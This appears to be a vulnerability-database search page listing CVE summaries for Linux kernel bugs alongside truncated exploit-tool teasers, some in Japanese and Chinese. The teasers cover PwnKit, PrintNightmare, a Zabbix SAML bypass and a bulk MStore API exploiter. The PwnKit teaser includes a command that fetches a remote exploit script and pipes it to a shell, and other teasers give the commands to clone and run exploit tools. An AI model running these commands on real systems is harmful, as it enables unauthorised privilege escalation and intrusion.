Lucene search
+L

309750 matches found

Kitploit
Kitploit
•added 2026/09/25 10:42 a.m.•6 views

Zabbix-CVE-2022-23131

Zabbix-CVE-2022-23131 Zabbix-SAML-Bypass: CVE-2022-23131 説明: Zabbixは、SAML SSO認証が有効な状態で、フロントエンド認証バイパスの脆弱性に対して脆弱です。これは、クライアント側のセッションストレージが安全でないためです。この問題が悪用されると、悪意のある攻撃者が権限を昇格させ、Zabbixフロントエンドへの不正な管理者アクセスを可能にします。 影響を受けるバージョン: 5.4.0 – 5.4.8; 6.0.0alpha1 Dork: http.favicon.hash:892542951 軽減策 Zabbix Web...

9.8CVSS8.6AI score0.95683EPSS
SaveExploits9
Kitploit
Kitploit
•added 2026/09/25 10:41 a.m.•13 views

CVE-2024-10793

CVE-2024-10793 PoC 以下の行を hosts ファイルに設定してください: root@kitploit: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com docker を使用して Wordpress を起動します: root@kitploit: $ sudo systemctl start docker $ sudo docker-compose up -d http://goodcms.lab:2121 を開き、wordpress のインストール手順を実行してください。 wordpress に...

7.2CVSS8.6AI score0.01369EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/25 10:39 a.m.•12 views

CVE-2021-1675-PrintNightmare

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 2021年6月1日 CVE-2021-1675 は、"PrintNightmare" と呼ばれる重大なリモートコード実行およびローカル権限昇格の脆弱性です。 リモートコード実行機能の概念実証エクスプロイトが公開されています(Python、C++)。また、ローカル権限昇格用のC版もあります。私たちは純粋なPowerShellによるネイティブ実装を見たことがなく、エクスプロイトの改良と再構築に挑戦したいと考えました。...

9.3CVSS8.2AI score0.85305EPSS
SaveExploits64References4
Kitploit
Kitploit
•added 2026/09/25 10:37 a.m.•7 views

CVE-2021-33739-POC

CVE-2021-26868 ローカル権限昇格 & CVE-2021-33739 概念実証...

8.4CVSS7.9AI score0.06555EPSS
SaveExploits2
Cvelist
Cvelist
•added 2026/09/25 10:36 a.m.•35 views

CVE-2026-98116 ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF

In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF sndpcmhwparams and sndpcmhwfree guard buffer reallocation with an mmapcount check performed under the PCM stream lock, but the lock is released long before th...

7.8CVSS0.00125EPSS
SaveExploits0References4
CVE
CVE
•added 2026/09/25 10:36 a.m.•18 views

CVE-2026-98116

The Linux kernel contains a page-level use-after-free vulnerability in the ALSA component. The issue arises because the PCM stream lock is released before the buffer is actually freed during reallocation, while snd_pcm_mmap_data() lacks any locking. This allows a concurrent mmap() call to slip in...

7.8CVSS6.3AI score0.00125EPSS
SaveExploits0References4
EUVD
EUVD
•added 2026/09/25 10:36 a.m.•7 views

EUVD-2026-86947

In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF sndpcmhwparams and sndpcmhwfree guard buffer reallocation with an mmapcount check performed under the PCM stream lock, but the lock is released long before th...

7.8CVSS6.3AI score0.00125EPSS
SaveExploits0References4
OSV
OSV
•added 2026/09/25 10:36 a.m.•5 views

CVE-2026-98116 ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF

In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF sndpcmhwparams and sndpcmhwfree guard buffer reallocation with an mmapcount check performed under the PCM stream lock, but the lock is released long before th...

7.8CVSS6.3AI score
SaveExploits0References7
Kitploit
Kitploit
•added 2026/09/25 10:34 a.m.•17 views

MSAPer

MSAPer | CVE-2023-3076 - MStore API 自动批量检测和利用 CVE-2023-3076 漏洞的工具 - MStore API install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 使用方法 请确保已安装 Parallel! 然后执行: git clone https://github.com/im-hanzou/MSAPer.git cd MSAPer && chmod +x msaper.sh Linux 或...

9.8CVSS8.5AI score0.02168EPSS
SaveExploits2References2
Kitploit
Kitploit
•added 2026/09/25 10:34 a.m.•13 views

CVE-2023-37250-POC

CVE-2023-37250 PoC 解説記事: https://hackingiscool.pl/roaming-and-racing-to-get-system-cve-2023-37250/...

7CVSS7.2AI score0.003EPSS
SaveExploits0
Kitploit
Kitploit
•added 2026/09/25 10:33 a.m.•8 views

CVE-2019-13272

CVE-2019-13272 CVE-2019-13272 のエクスプロイト 脆弱性タイプ:Linux ローカル権限昇格 脆弱性の影響範囲:Linuxカーネルバージョン 5.1.17 未満 ローカルテスト環境: 脆弱性関連情報: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903...

7.8CVSS7.2AI score0.52199EPSS
SaveExploits22
Kitploit
Kitploit
•added 2026/09/25 10:32 a.m.•16 views

PwnKit

PwnKit CVE-2021-4034 の自己完結型エクスプロイト - Pkexec ローカル特権昇格 使用方法 Ubuntu、Debian、Fedora、CentOS ベースの脆弱な Linux ディストリビューションでそのまま動作するはずです。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手動で root@kitploit: curl -fsSL...

7.8CVSS7.3AI score0.94345EPSS
SaveExploits155References1
Kitploit
Kitploit
•added 2026/09/25 10:25 a.m.•11 views

CVE-2019-15511

CVE-2019-15511 向け GOG Galaxy エクスプロイト root@kitploit: usage: exploit.py -h --action LaunchElevatedRequest,FixDirectoryPrivilegesRequest,CreateDirectoryRequest,QueryProcessInfoRequest,InstallServiceRequest,DeleteServiceRequest,MoveAndVerifyGlobalDependencyRequest target positional arguments: target...

7.8CVSS7.7AI score0.00749EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/25 10:25 a.m.•16 views

CVE-2023-34839

CVE-2023-34839 — Issabel PBX 4.0.0-6:CSRFによる権限昇格 目次 概要 脆弱性の詳細 影響を受けるソフトウェア CVSSスコア 攻撃シナリオ 概念実証(PoC) 再現手順 影響 対策 参考文献 免責事項 概要 CVE-2023-34839 は、広く使用されているオープンソースの統合コミュニケーションプラットフォーム Issabel PBX バージョン 4.0.0-6 で発見された...

6.8CVSS7AI score0.00659EPSS
SaveExploits2
OSV
OSV
•added 2026/09/25 10:22 a.m.•6 views

CVE-2026-97602 inet: frags: invalidate queues before flushing them

In the Linux kernel, the following vulnerability has been resolved: inet: frags: invalidate queues before flushing them fqdirpreexit flushes the skbs from incomplete queues without changing their completion state. A fragment which found a queue before highthresh was cleared can then acquire the...

7.8CVSS6.3AI score
SaveExploits0References7
CVE
CVE
•added 2026/09/25 10:22 a.m.•17 views

CVE-2026-97602

The Linux kernel is vulnerable to a flaw where fqdir_pre_exit() flushes skbs from incomplete queues without updating their completion state. This allows a fragment to reuse stale reassembly metadata after a queue is cleared. In IPv6 , this can cause ip6_frag_reasm() to use an old nhoffset with a ...

7.8CVSS6.3AI score0.00155EPSS
SaveExploits0References4
Cvelist
Cvelist
•added 2026/09/25 10:22 a.m.•31 views

CVE-2026-97602 inet: frags: invalidate queues before flushing them

In the Linux kernel, the following vulnerability has been resolved: inet: frags: invalidate queues before flushing them fqdirpreexit flushes the skbs from incomplete queues without changing their completion state. A fragment which found a queue before highthresh was cleared can then acquire the...

7.8CVSS0.00155EPSS
SaveExploits0References4
EUVD
EUVD
•added 2026/09/25 10:22 a.m.•5 views

EUVD-2026-86733

In the Linux kernel, the following vulnerability has been resolved: inet: frags: invalidate queues before flushing them fqdirpreexit flushes the skbs from incomplete queues without changing their completion state. A fragment which found a queue before highthresh was cleared can then acquire the...

7.8CVSS6.3AI score0.00155EPSS
SaveExploits0References4
CVE
CVE
•added 2026/09/25 10:21 a.m.•11 views

CVE-2026-97564

The Linux kernel contains a vulnerability in the SMB client where the cifs.idmap key type lacks a vet_description hook. This allows userspace to create keys via request_key(2) or add_key(2) containing authority-bearing fields (such as SIDs and uid/gid values) that are improperly treated as kernel...

5.8AI score0.002EPSS
SaveExploits0References4
Cvelist
Cvelist
•added 2026/09/25 10:21 a.m.•24 views

CVE-2026-97564 smb: client: reject userspace cifs.idmap descriptions

In the Linux kernel, the following vulnerability has been resolved: smb: client: reject userspace cifs.idmap descriptions cifs.idmap key descriptions carry authority-bearing fields owner and group SIDs and uid/gid values in "os:"/"gs:"/"oi:"/"gi:" form that the cifs.idmap upcall helper treats as...

0.002EPSS
SaveExploits0References4
Rows per page
Query Builder